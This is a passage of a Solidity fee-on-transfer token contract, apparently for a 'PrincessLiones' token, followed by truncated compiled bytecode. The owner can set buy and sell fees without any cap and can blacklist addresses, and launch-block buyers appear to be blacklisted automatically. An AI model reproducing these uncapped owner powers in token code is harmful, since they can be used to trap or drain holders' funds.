takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600e81526020017f5072696e636573734c696f6e6573000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600681526020017f4c696f6e65730000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506129a668056bc75e2d6310000060065461267690919063ffffffff16565b8210156129c55760065468056bc75e2d631000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c08161